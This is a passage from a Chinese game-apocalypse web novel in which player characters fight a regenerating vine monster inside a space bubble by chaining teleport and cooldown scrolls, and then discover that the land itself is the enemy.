懊恼归懊恼，情绪一点都没能影响她的跑步速度，江朗颇有些震撼地看着她脚踩着小高跟在这本身就不好走的软趴趴的泥地上飞奔而去，一瞬间有些怀疑人生——这妹子真的没异能吗？ 慢了一步的女孩虽然来晚了一点，单没有来晚太多，因为另一个女孩深知装备的优先级，她一来就瞄准了“天华哥”的上衣软甲，但是“天华哥”虽然死得七零八碎，血肉满地，那些藤蔓却偏偏给他留下了一副比较完整的骨架，所以把这件软甲从他身上扒下来属实是有点费事——哪怕她已经暴力拆解了“天华哥”的骨头。 来晚一步的女孩松了口气，见对方正在折腾那件上装软甲，就自顾自地扒起了下装软甲。 一时间两个人倒也算相安无事。 但是那之后就很不和平了。 从尸体上扒衣服困难，扒装饰品却很简单。 “你都拿了戒指了！这手镯是我的！” “我先拿到的就是我的！” “你先拿到的？我先拿到的好吗？就在你捡那两枚戒指的时候，要不是你非死皮赖脸非要放个手上来我早就已经把东西带上了！而且你都有俩戒指了，要不然你跟我换啊？两件换一件呗？” “……” 经过了一番短暂的争执之后，两人终于达成了一定的分赃共识，将“天华哥”浑身上下的装备都拆完分完了。 她们很快发现游戏装备会自动调整尺寸和大小，原本还有些担心这些东西穿在她们身上会不会过于不合身（虽然这点担心肯定不会影响她们使用这些装备），但是穿上之后就发现，多虑了，不论是软甲还是饰品，都自动缩到了完全契合她们的尺寸，唯一的问题可能就是她们俩一人捡了一只装备鞋，所以，鞋跟厚度和另一只脚并不匹配，短时间内走起来估计都有点一瘸一拐的。 不过这都是小问题。 两个人“分赃”完毕，颇有些喜气洋洋。 然后两个人的笑容突然间同时凝固在了脸上。 因为她们发现，她们漏了最重要的一件装备没分配——匕首。 两个人同时扑向地上。 “我的！当初可是我吹得他昏头转向才带上我们两个的好吗？你还在那叽叽歪歪要他选一个，你主动认错吧，这匕首合该我带。” “你吹得他昏头转向？你懂个屁，要不是我的‘叽叽歪歪’让他以为有两个女人愿意为他大打出手，你以为会有这么容易？” 两个人你一句我一句地掰扯起了当初，最后却还是决定用最朴素的方式决出胜负—— “石头剪刀布！” “草！” “承让承让，这玩意儿我就收下了。” “你最好晚上睡觉警醒点，不然我早晚把这东西从你这里偷走。” 输家虽然愿赌服输，但还是放下了狠话。 “你放心，我以后都乐得睡不着了。” 两个人彻底搞定分赃之时，陆燃也终于算明白了他和江朗总共需要多少卷轴。 而就在这时，又一阵刺耳的刹车声，又一辆越野车就这样撞进了空间泡。 陆燃：“……” 江朗：“……” 还挺热闹。 这辆车停得很快，基本一出现在空间泡里就已经踩下了刹车，而不是像“天华哥”一样一路开了过来才停下，应该算好消息吧，至少证明车上的人反应速度很快且足够谨慎。 第57章 第 57 章 谁要打劫你们？ 越野车停下后, 走下来两个人。 两个很明显是玩家的人。 从驾驶座下来的女性一身上下基本都是满配血肉战士输出装，手上两枚戒指和手镯则是T装，这是因为这版本的血肉战士玩PVP最好的饰品搭配就是T装里的。 不难猜测, 她背包里估计还有一套配套的T装可以随时切换。 从副驾下来的男性也是混搭的医生装备，既兼顾奶量, 又兼顾了生存。 不难看出, 两个人应该都是玩PVP的高玩。 就是不知道是末世后才凑到一块的，还是说这个医生原本就是这个血肉战士的绑定奶。 但是看他们俩的表情……这两人从下车开始就一脸警惕，不光是警惕周围这突然变样的环境，更多的还是警惕这环境存在的人, 那么大概率是末世前就认识的吧, 否则很难形成较为稳定的信任关系。 他们合上车门, 四下环顾了一眼, 看见那两个女生身上七零八碎的游戏装备时瞳孔猛地一缩。 如果不是她们两人一看就是普通人，身上的装备无非也是游戏里最普通的未满级装备, 他们应该已经下意识动手了。 但是哪怕确认了这两人毫无威胁, 他们眼中依旧饱含深深的警惕与厌恶。 对此，陆燃只能假定, 他们进入末世后大概经历了很多玩家被抢装备的事件。 随后, 这两个人看向了陆燃和江朗。 虽然陆燃和江朗两人将自己包得严严实实的，但是这两位新来的人显然是骨灰级《神域》玩家, 从陆燃领口露出来的一小片衣物和江朗那乍一看完全就是纯黑的兜帽上就认出了他们的身份。 “玩家？” “嗯。” 陆燃和江朗点了点头。 出于一些陆燃不太理解的原因, 这两人身上的气场突然显得友好了一些, 好像单纯因为他们都是玩家, 就站到了同一阵线上一般。 陆燃有点难以想象他们进入末世后到底都经历了些什么事才会养成这样的思维惯性。 但是不管怎样，这两人从身体语言上来看，瞬间显得信任和靠近了他们俩很多, 走过来了些后以一种颇有些“我们是自己人”意味的语气开口： “那两个人，虽然是普通人，不太可能造成什么威胁，但是小心点吧，我们遇上过好几次普通人联合起来猎杀玩家然后分赃的事了，这种人都不是省油的灯，主要是谁知道什么时候就会背刺你，这里感觉很不安全，谁知道她们会不会在我们战斗的时候来偷袭，这些人可是完全没有轻重缓急的意识的，脑子里只想着自己能获得什么，也不会想想会不会打出全灭结局，呵呵。” 陆燃：“你说她们两个吗？她们身上的装备是刚刚被这里的污染物攻击致死的玩家的，因为死都死了，所以我建议她们把他的装备扒了，物尽其用不是吗？” 陆燃话音刚落，那两人齐齐后退了一步，看他的眼神冰冷而充满了警惕。 陆燃：“……” 准确地说，他们两人冰冷的眼神中除了警惕，还有几分怒火，大概是一种你怎么能这么背叛玩家群体的怒火。 陆燃：“……” 再一次，陆燃很想问，这两人在进入末世后到底都经历了些什么？ 总而言之，短短几秒内，新来的玩家二人对陆燃和江朗两人经历了由警惕到有点信任再到完全不信任的全部阶段，堪称八倍速发展。 他们维持着一定的距离，似乎很怕被抢劫一样，对此，陆燃和江朗有点想吐槽，如果真想避开被他们抢劫的可能性的话，再怎么样也得走出秘术师和织灵者的攻击距离吧。 新来的两个玩家维持着一定的距离观察了一下周围的环境，在走到岩壁面前时非常谨慎地选择了不去触碰那些看着像是枯死了的藤蔓，而是从背包里拿出了一个单片镜进行观察——江朗和陆燃认得那个道具，《神域》里的新手道具，给玩家用来判断一件物体或是一个生物上有没有附着污染的，他们有陆燃的技能所以用不上，大部分玩家则选择肉眼判断，这两人倒是谨慎到了一定程度。 “你们知道这些是污染物吗？” “知道。” “它们不主动攻击，这很奇怪。这里看上去很古怪，我们最好还是不要自相残杀……我们来达成一个短期的协议如何，在我们成功从这个古怪地方出去前，互不攻击，有什么事都可以等到脱离困境再做不是吗？” 这位雷厉风行的女性说话一直都带着一种坚决的感觉，直到最后这句话，速度突然缓了下来，还带上了一种含混不清的意味，只能说做到了她能做到的最大程度的话里有话和暗示。 另外那名男性则阴阳怪气地补上了一句：“我们应该能相信你们不是分不清轻重缓急的人吧？是先出去要紧，还是自相残杀要紧，我想这种选择题你们还是会做的吧？” 陆燃面色古怪地朝江朗看了一眼。 他看着江朗，他知道自己虽然一个字都没说，但江朗应该能理解他想要表达什么—— 不解释一下吗活雷锋？就让他们误解你是爱好打家劫舍的人？ 江朗微不可察地给他递了个滴汗的眼神，幅度轻微地摇了摇头。 他也什么都没说，但陆燃也知道他要说什么。 ——算了，解释他们也不会相信，还不如顺着他们的想法说，就达成这个“暂时协议”呗，反正这样就足够让他们安心了，非要解释也只会起反作用。 陆燃不置可否地收回视线。 他们俩的眼神交流不算隐晦，不过对面的两人只以为他们在考虑他们的提案，所以耐心地等到了他们“交流”完毕。 “可以。” 江朗“咳咳”了两声，清了清嗓子：“那我们来交换一下信息吧，这些藤蔓确实是污染物，它们现在这么安静只是暂时的，一旦有人攻击，它们就会反击，单团藤蔓的攻击力已经偏高，大概是游戏里90-100级中间的怪，更糟糕的是它们一旦反击就是群体性的。” 他又指了一下地上天华哥的那具尸体，虽然很不完整，但是确实看得出曾经是个人吧。 “你们来晚了一步，所以没看见，这个人就是攻击了其中一条藤蔓然后瞬间受到了全部藤蔓的反击，然后……他就变成这样了。” “他生前应该是70级以上的血肉战士，装备不是很好但是很齐全，她们两个身上穿的就是他之前穿的装备，你们可以大致算下血量，是即死的，而且它们的攻击速度很快。” 都是老玩家了，这一血肉战士一医生的组合忍着厌恶看向了那两个女孩身上的装备，光速算完了地上这个曾经的血肉战士的血量。 就算他菜到被攻击前什么防护技能都没开，也足够说明这里的污染物的强度，两人的神色瞬间变得更加严肃，在此前的一个多月里，他们提防人的程度远高于提防污染物，毕竟大部分污染物对他们这些拥有系统的玩家来说并不算很大的威胁，就算被攻击了也只掉一点血，而且还能靠回血回上来。 但现在看来，这地方的危险古怪之处不光在于突然改换的空间，里面的污染物也是他们见过最强的。 “要合作吗？正好有T有奶有输出有控。” 血肉战士提出合作请求。 陆燃：“不太可行，你们刚来，没有走完这整片区域，我们走完了，同样的藤蔓大概共有120多团，而且反击时的速度非常快，基本是同步的，你就算换T装应该也扛不住，而且不好说血肉战士的技能能不能拉住仇恨，毕竟，《神域》里也有无视嘲讽技能的反击机制。” 虽然是否定的语气，但那位血肉战士倒是没有觉得自己受到冒犯，她耸了耸肩，表示她也只是根据现状随便提提建议，本身在面对这种难搞的情况时，建议就是为了提出来让人思考挑刺否定的，而陆燃否定这个建议的两个理由都非常合理。 “那你们有什么别的想法吗？” 陆燃点了点头：“倒是有点想法。” “织灵者的精神链接为无伤害纯控制技能，刚刚我也试验过了，不会引发任何反击。” “我的同伴……”他指了指江朗继续说，“他的异能是再生，只要面对的不是即死技能，基本都能抗住，他认为他可以承受得了的总攻击大概是十团左右藤蔓共同攻击。” “所以，如果将这整片区域分割成13份……” “等等，他的异能是再生？” 血肉战士忍不住问道：“你是说类似于[再生]这个技能的再生？” 她所说的[再生]是血肉战士的核心技能之一，在血量低于30%但高于10%的时候可以使用，光速恢复到满血。 陆燃思考了一下才回复：“类似，但没那么多限制，可以理解为没有血量限制也没有技能CD的[再生]。” 血肉战士忍不住有些感慨，她还以为自己和白柏一个血肉战士一个医生一块进末世已经生存能力爆表了，没想到还有人觉醒了这种逆天异能，还是觉醒在秘术师身上，简直把秘术师最后的短板也补齐了，怪不得刚刚她提出来她来t直接被这人否了。 医生的关注点则在另外的事上，他已经理解了陆燃想说的话，但是他有问题： “但是你要怎么同时控制十一个区域的怪物。” 他很清楚陆燃的想法，他控制十一个区域，然后他的秘术师同伴攻击一个区域，并承受另一个区域藤蔓的全部攻击。 “毕竟你只要一个精神链接技能。” “传送卷轴加CD清除卷轴。” 陆燃简短地回答。 医生忍不住笑了，虽然是嘲讽地笑，他阴阳怪气地说道：“很好的想法和思路，如果我们现在还在游戏里能刷到足量的CD清除卷轴的话。” “你是不是以为十一个区域就意味着十一个技能清除卷轴就够用了？实际所需的数量是根据你的同伴攻击所花的时间来决定的你应该懂吧？所以……按最简单的全部使用湮灭之环的时间计算，你们两个人加起来总共需要……45个CD清除卷轴。” 陆燃看了他一眼：“我们确实有。” 刚开完嘲讽的医生：“……？” 他身边的血肉战士脸上也有一瞬间的空白。 两个人齐齐有些晃神。 “你是说……”血肉战士感觉到自己下意识地咽了下口水，压根控制不住的那种，“你是说你们有45张CD消除卷轴？” 其实她更想直接喊一句——多少？？？？ 她身边的医生终于从晃神中回过神来了，他猛地插了一句嘴：“我们要不要先找找别的出去的办法？” 他有些心疼那45张CD清除卷轴。 只要有一线希望可以通过别的手段走出这个古怪的地方，都不该这么暴殄天物好吗？！ 45张！而且不是别的卷轴！是CD清除卷轴！这玩意儿放到末世没来前，单纯作为游戏道具也要卖到几千块呢！ 更何况是现在。 他突然间觉得自己之前对这两人的提防瞬间全都消失了——谁打劫谁啊？ 他和梦姐两个人背包里加起来的普通卷轴都不一定有他们手上的CD清除卷轴多。 而且这个计划还需要同等数量的传送卷轴。 传送卷轴在游戏里或许只能属于标配，但在现在……不知道有多少人会为了一张传送卷轴付出巨大的代价，毕竟只要用得得当，就相当于一张保命卷轴了。 真是堪称挥霍无度的计划啊…… 打扰了。 他心头涌上了一种强烈的自作多情感——凡事想想配不配，你配被人打劫吗就在那自作多情！ 第58章 第 58 章 暴力破解失败？ “很遗憾。”江朗摊了摊手, “如果有别的办法能出去，我们也不想这么浪费。” “你们可能是头一次进入这种地方，我之前已经进入过类似的地方了, 出去的方法基本只有一个，很简单粗暴, 杀死这种空间内最强的污染物, 这个空间就自动坍缩了。” “通常来说，这种空间内的污染物对比外界污染物会强非常多，不是这些藤蔓单个的水平，但是这些藤蔓既然是作为一个整体存在的, 强度就反而偏高了。” 江朗说得言之凿凿, 外加他的脸真的长得非常真诚可信, 唐清梦和白柏毫无障碍地就全盘接受了他的说法, 甚至心中涌起了一丝凝重——看来他们是运气好才现在才遇到这种空间，难道说这种情况其实很常见？那他们之后也得做好经常撞入类似空间的准备了……唉, 就知道末世不会那么简单。 江朗：“大致就是这样, 那我们开始了？你们尽量站远点免得被误伤吧。” 唐清梦和白柏犹豫了一下，两个人对视了一眼, 最后由唐清梦伸手拿出了两张卷轴： “我不知道你们具体有多少CD传送卷轴, 这是我末世前替老板收的，就这么一张, 能给你们增加一点成功率也好, 白柏算的是理想情况, 你们稍微出点意外或者手速慢点数量就要超出45了, 如果你们的卷轴数量是只有45或者只多几张的话，因为这种理由失败就太可惜了，而且如果你们成功了, 我们俩就相当于什么都没做就被你们带飞了，那种情况的话，就当这两张卷轴是我们的……包团钱？” 包团钱这个说法让现场的气氛稍微轻松了点。 无论是江朗和陆燃，还是唐清梦和白柏，都忍不住露出了笑容，就好像他们不是在末世里挣扎求生，实行一个有概率死亡的计划。 而是还在家里打游戏一样。 “那就谢谢了。” 江朗毫无压力地收下了这两张卷轴，包团钱他熟啊。 然后回头过来和陆燃确认计划细节：“你之前说把这里分成十三块区域，这是按精神链接还有湮灭之环的范围分的？” 陆燃：“嗯。” 江朗：“如果我不用湮灭之环，用其他CD更短的技能会更好吗？” 陆燃：“算过了，你不清除CD卷轴用湮灭之环的话，其他技能拼凑起来的范围会导致额外需要12秒时间，等于说都需要额外12个卷轴，只不过是你用还是我用的区别，至少用湮灭之环总时间比较短，出意外的可能性更小。” 江朗：“原来是这样。” 他一向信任陆燃的计算能力，而且他脑子里快速算了一遍，也得出了同样的结果，于是就不再纠结节省卷轴的问题，而是开始正式地准备了起来。 首先是把背包里的晶体都用了，之前压根没有“再生”发挥作用的机会，他现在的“再生”跟前世压根不是一回事，等级太低了，临时抱佛脚，能拉一点上来是一点吧。 然后吃一瓶减伤药，再叠一碗减伤的汤。 一瓶药水一大碗汤下肚，他觉得自己肚子里有水在晃荡，不过这汤真好喝，他和陆燃对热乎食物非常珍惜，平时更多的还是吃速热食品，现在难得有机会可以以正当理由吃点热乎菜，他还挺开心的。 除此以外又往身上拍了个减伤卷轴，最后随时准备激活装备上的3s无敌。 哦对——他还有三秒无敌，这应该能给他们省点卷轴下来。 陆燃却直接否决了他这个提议。 “会乱位置，而且留着保命更好，万一有什么意外，把它也放进计划里让我觉得很不安全。” “好吧。” 江朗遗憾地放弃了最后一个省卷轴的提案。 看来他们今天这45张卷轴是不得不用出去了。 “我准备好了。” 陆燃点点头，他刚刚趁江朗准备的时候给自己拍了个加速卷轴去把传送卷轴的坐标都记录了一遍。 然后他一叠江朗一叠地分开。 “开始吧。” “开始吧。” 陆燃和江朗的语气平静，就好像他们真的只是在打本一样。 倒是一旁围观的唐清梦和白柏更紧张，他们感觉自己有点胃痛，无比希望他们俩的计划能成功，因为如果这个斥资巨大的计划都失败了……他们也想不出自己能怎么应对污染物。 眨眼间，陆燃消失在了他们二人的视线中。 即使是这么紧张的情况下，白柏依旧忍不住在心中吐槽了句——这也用传送卷轴，太富了点吧，第一段路程完全可以用两条腿跑过去啊…… 然后江朗也一个传送卷轴消失了。 白柏：“……” 卷轴大户了不起. 江朗紧张地在原地数着秒。 ……七，八，九。 他掏出那根约一人高的魔杖，开始吟诵湮灭之环的咒语。 巨大的黑圈在不远处的上空凝聚。 然后落下。 在此范围内的藤蔓瞬间化作了灰。 而他耳旁传来阵阵破空声，是其他还不受控藤蔓要来为它们的藤蔓报仇了。 他扯掉传送卷轴，前往下一个地点，他“逃跑”的行为似乎激怒了这些藤蔓，尤其是他传送的新地点就是这些藤蔓原本所在的地方，虽然知道它们没有脑子，但江朗还是觉得自己这种让它们折返跑的行为大概真的让它们很生气，因为他传送完之后，耳中的破空声更大了。 他没有让这些声音影响到他，而是使用了CD清除卷轴，开始进行下一轮读条。 而此时此刻，那些藤蔓终于飞奔而至，没入了他体内。 它们刺入了他的身体，他的胸腔，他的腹腔，他的一只眼睛。 然后江朗看着自己的血条瞬间降到了10%的位置。 还行。 他松了口气，比他预估的还要好点，10%的血线简直太安全了。 再生瞬间发挥了作用，他的血条开始左右蹦迪，掉一点血又回一点血，很快回血的速度就超过了掉血的速度——再生的自我成长性很高。 疼痛感也还好，完全在他能忍受的范围内，毕竟仅仅是被刺穿皮肉而已。 而且这些藤蔓攻击还挺有目标的，都是朝致命伤的地方在攻击，对其他人来说或许是坏事，但是对江朗来说，这就意味着没有藤蔓在攻击他的嘴巴，完全不会影响到读咒语啊！简直太好了！ 他怀揣着自己简直太幸运了的想法吟诵完了第二个湮灭之环。 撕开下一张传送卷轴。 来吧！继续！已经完成两个区域了！ 来到第三个区域后，他有点难受，因为上一次藤蔓攻击在他身上留下的伤口还没来得及完全复原，被新的藤蔓一扎又疼又痒的，而且新的藤蔓好像更生气了，在发现他没死之后开始在他胸腔内部胡乱搅弄。 他的声音有些微的颤抖，就算他已经习惯了受伤，这么剧烈的撕扯和在内脏位置的搅弄依旧会让他觉得不适。 尤其是眼睛里那两根，难受死了。 都是他这具身体的问题。 他这具身体还没怎么受过伤，忍痛和忍耐麻痒的能力太低了，上一世后期，这种程度的伤根本不会让他有这么明显的应激反应，这具身体太新了，还不熟悉疼痛。 也还没适应再生时的那种麻痒感。 他能清晰地感受到那些被搅碎的内脏正在一点点地以一片血肉为中心将自己再长出来。 这种生长过程本来就痒得不行，新生的组织肌体还格外敏.感。 这种感觉本来他都已经彻底习惯了，现在却因此而影响到了他读条时的稳定性。 他有些恼怒。 明明是他为数不多拿得出手的能力。 他绝对不能忍受因为自己忍不了这么点痛而导致读条时间过长而导致陆燃的计划失败！ 他将全部精神集中在湮灭之环的咒语上，无视那些藤蔓破开搅弄他的血肉的声音。 眼睛没了更好，不用看就不用被影响心情了。 好了！又搞定一个区域！ 只要这样稳步下去！ 而且他能感受到！他的再生异能在这短短的时间里就已经获得了充足的成长。 异能本来就是越用等级就高，只是他这个异能是被动技能，他也不是很想自残来升级——实在是这个阶段没啥必要。 但刚刚那短短几个瞬间，他的再生不知道使用了多少遍，他自己都能感受到他的骨肉组织的再生速度有了肉眼可见的增长。 他的骨架上虽然只挂着稀稀拉拉的肉块，森森白骨上甚至还被戳了好几个洞，但是那些肉块长回来的速度，那些洞圆回来的速度，都已经快到可以超过藤蔓攻击的速度了。 一旦新的肌体的生长速度快到他自己都感受不太出来，那种麻痒感就会大大消减了。 四。 五。 六。 …… 十。 十一。 十二。 他已经看见了陆燃。 这里就是最后一片区域了。 江朗站在原地喘了口气，现在可以耽误会儿时间了，不用CD清除卷轴也一样。 然后他忍不住看着陆燃笑了。 他笑得很开心，他想说，看吧哥们，我没有拖后腿。 虽然这个笑容不是很好看，毕竟脸上都不剩几块肉，眼框里更是空空荡荡的，光这样都还好，主要是他的肉都还在长出来。 陆燃怔愣了一下。 他早该想到的，江朗在问他这些藤蔓的攻击力的时候并给出“十”这个可承受数字的时候，肯定是按照自己的最大承受限度去计算的。 如过他早点知道……早点知道又能做什么，他们就是只有那么点CD清除卷轴，就算知道他又能做什么。 更何况就算他提出来，江朗也只会说他的再生异能需要成长，这不就是最好的成长机会吗？ 陆燃缓慢地捏紧了自己的拳头。 那股自从进入这个空间泡以来就在他脑海萦绕的愤怒感此时此刻愈发清晰起来。 江朗此时此刻倒是已经完全习惯了被藤蔓攻击的感觉，他淡定地在原地一边用小技能先清理几团藤蔓，一边等着湮灭之环的冷却时间过去，然后落下了最后一个湮灭之环。 至此，空间泡内所有藤蔓都消失了。 江朗松了口气。 还好他们收了足够多有的没的的卷轴啊…… 一秒。两秒。三秒……眨眼间好几秒过去。 江朗困惑地提问：“这个空间泡……怎么还没消失。” 陆燃皱眉：“一般它们需要多久消失？” 江朗：“呃……这就是问题所在，一般来说，应该是污染物死了之后，空间就直接崩坏了的。” “呼——呼——怎么样了？” 唐清梦和白柏气喘吁吁地跑了过来，他们大致估摸了一下，到这个时间为止，这两人要么已经成功，要么就是已经死了，所以急匆匆地赶过来想知道结果。 他们都还活着。 那就说明计划进行得很顺利。 然后他们才看见，江朗虽然确实还活着……但这模样可是有点凄惨。 “嘶——” 白柏下意识往他身上刷了两个治疗，虽然已经得知他有自我修复技能，但作为奶爸的本能还是让他看不得不满血的人。 尤其是伤势惨成这样的。 虽然之前就在那个已经成了一摊骨架和肉泥的尸体上见过如此惨状了，但在活人身上看见这种伤势还是太具冲击性了。 “谢谢。” “不客气。” “所以……你们成功了？” 唐清梦问完这句话后，立刻从江朗那张只剩半张脸的脸上看见了不容错认的犹豫和为难。 江朗犹豫着回答：“应该……算成功了，可以说我已经对这整个空间进行了地毯式攻击，没有任何遗漏，所有藤蔓也都化成灰了，但是……这个空间没有消散，所以，有一定可能还有什么隐藏的污染物我们没有清除到。” 唐清梦和白柏一时都有些震惊，还有些失望，但又不敢多说什么，更不敢将自己的失望表现出来，毕竟……看看吧，他们眼前的这个秘术师骨头架子上暂时连块完整的肉都还没有，不管他们两人有多失望，绝对不会有对方付出了这么大代价却没有成功脱困来的失望万分之一大，他们现在最好闭上嘴巴，避免刺激到对方现在脆弱的心灵。 不过他们想错了，江朗倒是对此没什么感受，失败对他来说乃是常事，次次计划都成功那得多高的幸运值啊。 他只是有点困惑，不管这个空间泡里的最强污染物是什么，他都实打实地地毯式清理了整个空间，而且是在非常短暂的一段时间内。 除非那个污染物不光没有任何攻击性，还很擅长躲藏，他到哪里它就飞奔去更安全的地方，不然他真是无法理解目前这个情况…… 然后他重新长出来的眼球突然瞥见陆燃动了起来。 陆燃沉默地走到其中一道岩壁前，从背包里掏了一张卷轴，在场所有人都认识那张卷轴，那是一张没有任何攻击性的卷轴，唯一的作用是掀起一阵微风，在游戏里唯一的作用是用来做打扫相关的跑腿任务的。 一阵微风拂过，岩壁下那些由藤蔓化成的棕褐色的灰烬便随着风散开了。 然后露出了灰烬下一道小小的绿芽。 “我草！” “我草！” “我草！” 他背后瞬间齐齐传来了三声“我草”。 第59章 第 59 章 终于解决 其中江朗那声最大声, 他简直要抱头了。 这也行？？？ 首先，肯定不是他的技能漏掉了藤蔓根部没有清理，因为《神域》的技能是有z轴的, 他的每个湮灭之环，竖直方向覆盖的攻击范围就是从肉眼可见的地表最低处到以他为起点空中十米高处。 这小绿芽明显是高于地表的, 所以不存在是他漏下了它没打到的可能。 也就是说, 它是在藤蔓死后，重新长出来的。 他是真的要抱头了！——不是？！什么鬼啊！他和陆燃辛辛苦苦半天才把这堆东西全清了个干净，以为自己终于搞定了这个共生污染物才松了口气，怎么眨眼间它们又长出来了？！ 难道这些东西不光是普通地共生, 而是那种只要一个不死, 其他的都会重新长出来的共生？ 那要怎么才能一块消灭啊？ 这又不像C市那棵树, 那些芽确实生生不灭, 但至少有个主体，只要消灭了主体一切就迎刃而解了。 这里每株藤蔓据陆燃所说都是类似强度, 而且他已经把每一株都杀死过一遍了, 如果这里真有一个母体，应该也已经死过一遍了。 “不是！这空间泡也太死局了吧？难道非要一次性搞定所有枯树才能消灭他们吗？但是谁的技能或者异能有这么大范围啊？？” “等等, 你那小火苗也许可以, 如果给它喂上十年的晶体的话……只能说我们出现在了错误的时间错误的地点……” 随着江朗的血肉逐渐长了回来，他的话也多了起来, 担负起了吐槽重任, 将在场所有人的心声都喊了出来。 唐清梦和白柏一时也有些绝望。 白柏：“我多嘴问一句, 你们应该没法再掏出45张CD清除卷轴来了对吗？” 江朗摇摇头：“没了, 就剩十几张了。” 唐清梦叹了口气，她还以为有了游戏系统至少意味着他们在末世不需要担心污染物的攻击，只要担心那些阴险的人就好了, 但怎么会有这么变态的污染物，难道他们就要被困死在这里了吗？ 车上和背包里倒是还有些食物，按四个人的消耗速度算的话至少也能撑到半年后，但是半年后怎么办？半年的时间或许够他们想出办法，弄明白这鬼地方到底是怎么一回事，但万一弄明白了也没有足够的道具来解决呢？ 万一他们最后搞明白了所有事，但发现他们还需要又45张CD清除卷轴才能出去呢？ 那就有点太地狱了不是吗？ 然后他们发现，陆燃站在原地没有动。 他皱着眉，像是在思考什么。 白柏好奇地问：“他在做什么？” “嘘——嘘——” 江朗猛地摆了摆手，幅度夸张，吓了白柏一跳：“不要打扰他思考！” 白柏一时有点想吐槽——刚刚明明就你话最多，但是看见江朗身上那还没全长出来的肉，就又把话憋了回去，顺手给他刷了个治疗技能。 陆燃确实在思考。 而且还是很生气地在思考。 怒火让他的双眼更加明亮，也更加冰冷，简直像有温度很低的火焰在他眼中燃烧。 联动……共生……全部清除了一遍，没有母体……母体……母体…… 藤蔓是从什么中生长出来的？ 枯树消散后的“尸体”又回到了什么中去？ 有什么物体是精神链接和湮灭之环的技能z轴都正好略过的？ 陆燃突然觉得自己有了明悟。 他再次施展精神链接。 单条的银色丝线从他胸口中生长了出来，却无处可去。 这里唯一可控的生物就是站在不远处的三个活人，但是他明确将他们三人排除出了控制范围，所以他的技能非常迷茫——它到底要去控制什么？ 如果它有自己的意识的话，大概会这么想吧。 然后，陆燃强迫着它去往技能默认范围以外的地方，在此之前，他已经打破了很多个精神链接本应有的限制，比如一次只能控制一个人，比如脱战后技能效果自动消失。 没道理z轴范围的限制会比这些更强。 于是，他强迫着那道银色丝线钻入了地下。 然后。 咔哒。 他连接上了这里最后一个污染物意识。 他漆黑的意识，出现了一团比之前的所有光点都要明亮得多得多的光点。 他心念一动，进入那光点内。 这个决定让他后来有些后悔，明明直接动手就好了，为什么他非要闲得没事做去了解一下你的敌人在想什么。 他刚进入这个污染物——也即这片土地的意识中，就觉得自己的大脑快炸了。 无数景象一次性涌入他的脑海中。 他看见一堆奇形怪状的生物在互相搏斗。 他看见巨大，巨大到无法用语言描述的污染物掠过。 还有各种各样他根本记不住的场景，太多了，一次性全涌入了他的大脑中，让他一瞬间产生了过载的错觉，而他从未有过信息过多以至于大脑都无法接收的感觉。 这种感觉……很不好。 他强行切断了自己与这个意识的联系。 一睁眼就是江朗一脸担忧地看着他：“你还好吧？你刚刚的表情特别扭曲。” 陆燃摇摇头：“我没事。” 然后他接着说：“污染物找到了。” “是什么？！” 唐清梦和白柏齐声问。 “就是我们脚踩的这片土地。” “你是说……土地？” “嗯。” “不是什么活物，就是土地？” 白柏不得不再次确认了一下。 陆燃：“嗯，动手吧，不要用你们平时给游戏系统托管的方式释放技能，手动锁定目标到这片土地上，你们试试吧，应该是能做到的。” 唐清梦和白柏还在困惑什么叫“不要用游戏托管的方式释放技能”和什么叫“手动锁定”，江朗已经应了声“好。” 反正陆燃说了，他就照做就行。 先找个CD不长不短的技能试试。 太长的万一失败了他心疼时间，太短的读条时间也短，不够他思考怎么做到陆燃要求的时的。 他一脸严肃地念着吞噬的咒语。 而事情比他想象的要简单很多，或许是因为明确地从陆燃口中知道了这是能做到的事了，所以他的技能很轻易地在地下形成了。 而这惹怒了他们的敌人。 “轰隆隆——” 他们脚下的大地醒过来了。 其实不是这么个声音。 但是他们也找不到更适合的拟声词了，就是一种沉睡许久的巨龙醒来后闷闷地打了个呼噜的声音，地面剧烈地震动了起来，地表上的四个人全都忍不住一个踉跄。 不过它刚“轰隆隆”到一半，就失去了动静。 因为陆燃的技能已经打上去了。 是精神链接，江朗自觉开始读条湮灭之环。 然后就在黑色光圈即将没入地面之时，陆燃同步地补了一个心灵震荡给江朗上减防。 然后他看向一旁的唐清梦和白柏两人。 虽然陆燃很满意他们没有在江朗读完湮灭之环的条前攻击，但现在还不动就是纯粹无效益的发呆了。 于是他出声提醒：“别愣着，你们也快攻击。” “哦……哦好！” 答应是答应了，唐清梦心里却如同有一万匹草泥马奔腾而过。 她不是江朗陆燃这种远程职业啊！ 她的所有技能都是近战的，甚至突进类的！ 她是有点弄明白什么叫“手动锁定目标”了。 但是她手动锁定目标的效果是…… “突进！” 她原地跃起，手中匕首刺出，然后一个猛子扎在了地上。 她身后的白柏：“……” 当作什么都没看见给她刷个持续回血buff吧…… 唐清梦：“……” 算了算了，人都在末世了，还管这那的呢。 另一头，陆燃则突然想起来他也还有一个额外的不受攻击范围限制的异能。 是哦，他还有个异能来着。 他召唤出那团火苗，还没给它任何讲话的机会。 就把它埋进了土里。 尊贵的地狱之火：“……！” 九秒后，陆燃的控制链到头了。 原本“轰”到一半就被陆燃强制暂停了的大地继续“轰隆隆”了起来。 这一次，还有别的动静。 他们视野内几乎所有藤蔓死去的位置，嫩芽都开始疯狂地抽条生长，重新攀上了岩壁，那些刚长出来的嫩芽看上去脆弱无比，但还是刚一恢复个大概，就尖利地朝他们刺了过来。 江朗忍不住在这惊险一刻中吐槽：“它好懒啊……这样了还要这些藤蔓帮它攻击，它没长手吗？哦它好像确实没长手……” 这些藤蔓确实复活了，但是攻击力远不如当初，而且母体痛苦之下，攻击非常混乱，压根没有集中突破的意识，反倒是在分散攻击他们四人。 这瞬间让在场四个玩家松了口气，只要不被集火，就没什么需要担心的。 而且这些再生后的藤蔓是真的很菜，别说有再生护体的江朗，或者身为血肉战士的唐清梦，就算是在陆燃和白柏身上，也只能造成完全可以靠嗑红药就恢复过来的伤害。 更何况，没几秒过后，陆燃的技能CD就又转过来了。 而这一次，还没等到他的控制链的真空期，整个空间泡直接烟消云散。 第60章 第 60 章 Q市我们这次真的来了…… “我草！” 江朗半空中一声怒吼传开了好几百米——他们最最初的担忧真是一点没错, 空间泡消失后他俩直接出现在了半空中，而且离高速巨远！ “啊啊啊啊啊啊——” 转头一看，远处那两个女孩也在下落, 明明她们站的位置离刚进入空间泡的位置不远，只能说高速公路还是太狭窄了。 幸好她们两人快落地时, 突然姿势诡异地被定在了半空中, 